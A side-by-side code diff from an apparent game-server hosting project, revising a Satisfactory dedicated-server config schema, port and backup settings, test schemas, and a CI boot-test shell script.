AUTOSAVENUM: 5 MaxPlayers: 4
DEBUG: false AutosaveNum: 5
DISABLESEASONALEVENTS: false MaxTickRate: 30
LOG: false ConnectionTimeout: 30
MAXOBJECTS: 2162688 MaxObjects: 2162688
MAXPLAYERS: 4 ServerStreaming: true
MAXTICKRATE: 30 DisableSeasonalEvents: false
MULTIHOME: '::' Multihome: ""
PGID: 1000 ExternalReliablePort: '{PUBLIC_PORT_8888}'
PUID: 1000
SERVERGAMEPORT: 7777
SERVERMESSAGINGPORT: 8888
SERVERSTREAMING: true
SKIPUPDATE: false
STEAMBETA: false
STEAMBETAID: ""
STEAMBETAKEY: ""
TIMEOUT: 30
VMOVERRIDE: false
configSchema: configSchema:
$schema: http://json-schema.org/draft-07/schema# $schema: http://json-schema.org/draft-07/schema#
type: object
properties: properties:
AUTOSAVENUM: MaxPlayers:
title: Max Players
description: How many players can be on the server at once. Set by your plan.
type: integer
category: Gameplay & Rules
default: 4
AutosaveNum:
title: Autosave Rotation Count
description: How many rotating autosave files to keep in the save folder.
type: integer
minimum: 1
category: World & Environment category: World & Environment
default: 5 default: 5
description: The number of rotating autosave files to keep in the save folder. MaxTickRate:
title: Autosave Rotation Count title: Max Tick Rate
description: The highest simulation tick rate the server runs at, in Hz.
type: integer type: integer
DEBUG: minimum: 10
maximum: 120
category: System & General category: System & General
default: false default: 30
description: Prints diagnostic environment and system details on startup, then stops. ConnectionTimeout:
title: Debug Mode title: Connection Timeout
type: boolean description: Seconds before a player who stops responding is disconnected.
DISABLESEASONALEVENTS: type: integer
category: Gameplay & Rules minimum: 5
default: false
description: Disables seasonal in-game events such as FICSMAS holiday events.
title: Disable Seasonal Events
type: boolean
LOG:
category: System & General category: System & General
default: false default: 30
description: Disables automatic pruning of previous Satisfactory server log files on container startup. MaxObjects:
title: Retain Old Logs title: Max Objects Limit
type: boolean description: Unreal Engine object limit. Raise it for very large late-game factories.
MAXOBJECTS: type: integer
category: World & Environment category: World & Environment
default: 2162688 default: 2162688
description: Unreal Engine garbage collector UObject limit to support large late-game factories. ServerStreaming:
title: Max Objects Limit title: Server Streaming
type: integer description: Lets the server stream world data in and out instead of keeping it all loaded.
MAXPLAYERS: type: boolean
category: System & General
default: 4
description: Sets the maximum number of concurrent players allowed on the server.
title: Max Players
type: integer
MAXTICKRATE:
category: System & General
default: 30
description: Sets the maximum simulation tick rate for the server in Hz.
title: Max Tick Rate
type: integer
MULTIHOME:
category: System & General
default: '::'
description: 'Network interface binding IP address (defaults to :: for dual-stack IPv4/IPv6).'
title: Multihome Address
type: string
PGID:
category: System & General
default: 1000
description: Sets the Linux group ID under which the dedicated server process runs.
title: Process Group ID
type: integer
PUID:
category: System & General
default: 1000
description: Sets the Linux user ID under which the dedicated server process runs.
title: Process User ID
type: integer
SERVERGAMEPORT:
category: System & General
default: 7777
description: Primary game port for UDP and TCP network communication.
title: Server Game Port
type: integer
SERVERMESSAGINGPORT:
category: System & General
default: 8888
description: Port used for reliable server messaging and beacon network traffic.
title: Server Messaging Port
type: integer
SERVERSTREAMING:
category: System & General category: System & General
default: true default: true
description: Toggles whether the game server utilizes Unreal Engine World Partition asset streaming. DisableSeasonalEvents:
title: Server Streaming title: Disable Seasonal Events
description: Turns off seasonal events such as FICSMAS.
type: boolean type: boolean
SKIPUPDATE: category: Gameplay & Rules
category: System & General
default: false default: false
description: Skips automatic SteamCMD game file update checks on container startup. Multihome:
title: Skip Update title: Multihome Address
type: boolean description: Bind the server to one IP address instead of all of them. Leave empty unless you know you need it.
STEAMBETA: type: string
category: System & General
default: false
description: When enabled, updates and runs the Experimental branch instead of the stable release.
title: Steam Beta Branch
type: boolean
STEAMBETAID:
category: System & General category: System & General
default: "" default: ""
description: Specific beta branch identifier to download via SteamCMD. ExternalReliablePort:
title: Steam Beta Branch Name title: Reliable Messaging Port (public)
description: The port players' games use for reliable messaging. Filled in for you; only change it if you know you need to.
type: string type: string
STEAMBETAKEY:
category: Security & Access
default: ""
description: Password required to access a private Steam beta branch.
title: Steam Beta Password
type: string
TIMEOUT:
category: System & General category: System & General
default: 30 default: '{PUBLIC_PORT_8888}'
description: Client network connection timeout threshold in seconds.
title: Connection Timeout
type: integer
VMOVERRIDE:
category: System & General
default: false
description: Skips CPU model checking on hypervisors to prevent crash warnings on KVM/QEMU hosts.
title: VM CPU Check Override
type: boolean
required: [] required: []
type: object maxPlayersConfigKey: MaxPlayers
configFileFormat: INI logFilePath: FactoryGame/Saved/Logs/FactoryGame.log
configFormatOptions: readyPattern: 'Engine is initialized'
assignment: =
falseValue: "false"
footer: ""
header: ""
quoteStrings: false
separator: "\n"
trueValue: "true"
unquotedKeys: []
uppercaseKeys: false
agnosticCommandConfig: agnosticCommandConfig:
queryType: LOG_ONLY
playerJoinRegex: 'LogNet: Join succeeded: ([^\r\n]+)'
playerLeaveRegex: 'UNetConnection::Close:.*?\[PlayerName:\s*([^\]]+)\]'
actions: actions:
Ban: Ban:
type: UNSUPPORTED type: UNSUPPORTED
@@ -169,22 +119,7 @@ agnosticCommandConfig:
type: UNSUPPORTED type: UNSUPPORTED
Save: Save:
type: UNSUPPORTED type: UNSUPPORTED
pingPort: null
pingPortKey: null
playerJoinRegex: '.*Join succeeded: (\S+).*'
playerLeaveRegex: .*UNetConnection::Close:.*?\[PlayerName:\s*([^\]]+)\].*
playersCommand: null
playersFormat: null
playersRegex: null
queryPortKey: null
queryType: LOG_ONLY
rconPasswordKey: null
rconPortKey: null
restEndpoint: null
restPasswordKey: null
restPortKey: null
restUser: null
backupPaths: backupPaths:
- saved - .config/Epic/FactoryGame/Saved/SaveGames
maxBackupSizeMb: 1024 - FactoryGame/Saved/Config
maxPlayersConfigKey: MAXPLAYERS maxBackupSizeMb: 2048
+3 -1
View File
@@ -1,3 +1,5 @@
# yaml-language-server: $schema=../../schema/test.schema.json # yaml-language-server: $schema=../../schema/test.schema.json
# Values CI uses to boot-test this game. Never put real credentials here: map them under 'secrets'. # Values CI uses to boot-test this game. Never put real credentials here: map them under 'secrets'.
timeoutSec: 900 # SteamCMD install of ~8 GB plus first start
timeoutSec: 2400
readyExample: "LogInit: Display: Engine is initialized. Leaving FEngineLoop::Init()"
+4
View File
@@ -69,6 +69,10 @@
"maxBackupSizeMb": { "type": ["integer", "null"], "minimum": 1 }, "maxBackupSizeMb": { "type": ["integer", "null"], "minimum": 1 },
"publicIpConfigKey": { "description": "Config key that receives the server's public address.", "type": ["string", "null"] }, "publicIpConfigKey": { "description": "Config key that receives the server's public address.", "type": ["string", "null"] },
"portMode": {
"description": "MATCH_PUBLIC: for games that advertise the address their own traffic comes from. The container binds the port players use (the relay port behind Public Bypass) and, behind a relay, all its outgoing traffic leaves through the relay. Tell the game its port with {PUBLIC_PORT_<defaultPort>} in defaultStartupCommand.",
"enum": ["DEFAULT", "MATCH_PUBLIC", null]
},
"maxPlayersConfigKey": { "description": "Config key locked to the pricing tier's player count.", "type": ["string", "null"] }, "maxPlayersConfigKey": { "description": "Config key locked to the pricing tier's player count.", "type": ["string", "null"] },
"mapConfigKey": { "type": ["string", "null"] }, "mapConfigKey": { "type": ["string", "null"] },
+5
View File
@@ -33,6 +33,11 @@
"minimum": 10, "minimum": 10,
"maximum": 3600 "maximum": 3600
}, },
"unboundPorts": {
"description": "Published ports the server only opens once a player connects, so the boot test doesn't expect them open. Each one exactly as in defaultPorts, with the reason in a comment.",
"type": "array",
"items": { "type": "string" }
},
"holdSec": { "holdSec": {
"description": "How long the server must stay up after its ready line to pass (default 60). Its published ports are checked after it.", "description": "How long the server must stay up after its ready line to pass (default 60). Its published ports are checked after it.",
"type": "integer", "type": "integer",
+9 -17
View File
@@ -30,28 +30,20 @@ for id in "$@"; do
echo "::endgroup::" echo "::endgroup::"
continue continue
fi fi
payload=$("$gbrgames" boottest-payload "$id") # The node-agent's BootTest with the game's real payload. Steam games start from the runner's download
# cache (volumes gbr-steamcache-<app>, kept by RUNNER.md's prune), so Steam isn't asked for the whole
# game on every run
AGENT_IMAGE="$AGENT_IMAGE" "$gbrgames" boot-test "$id"
code=$? code=$?
if [ $code -eq 3 ]; then if [ $code -eq 3 ]; then skipped+=("$id")
skipped+=("$id") elif [ $code -eq 0 ]; then passed+=("$id")
echo "::endgroup::" else failed+=("$id"); fi
continue
elif [ $code -ne 0 ]; then
failed+=("$id")
echo "::endgroup::"
continue
fi
docker run --rm -i \
-v /var/run/docker.sock:/var/run/docker.sock \
--entrypoint java "$AGENT_IMAGE" \
-Dloader.main=com.gbreed.gbr.nodeagent.BootTest -cp app.jar \
org.springframework.boot.loader.launch.PropertiesLauncher <<< "$payload"
if [ $? -eq 0 ]; then passed+=("$id"); else failed+=("$id"); fi
echo "::endgroup::" echo "::endgroup::"
done done
echo "passed: ${passed[*]:-none}" echo "passed: ${passed[*]:-none}"
echo "skipped: ${skipped[*]:-none} (missing secrets)" echo "skipped: ${skipped[*]:-none} (missing secrets)"
echo "failed: ${failed[*]:-none}" echo "failed: ${failed[*]:-none}"
# For the workflow: the weekly run queues a repair for each failed game
[ -n "${GITHUB_OUTPUT:-}" ] && echo "failed=${failed[*]}" >> "$GITHUB_OUTPUT"
[ ${#failed[@]} -eq 0 ] [ ${#failed[@]} -eq 0 ]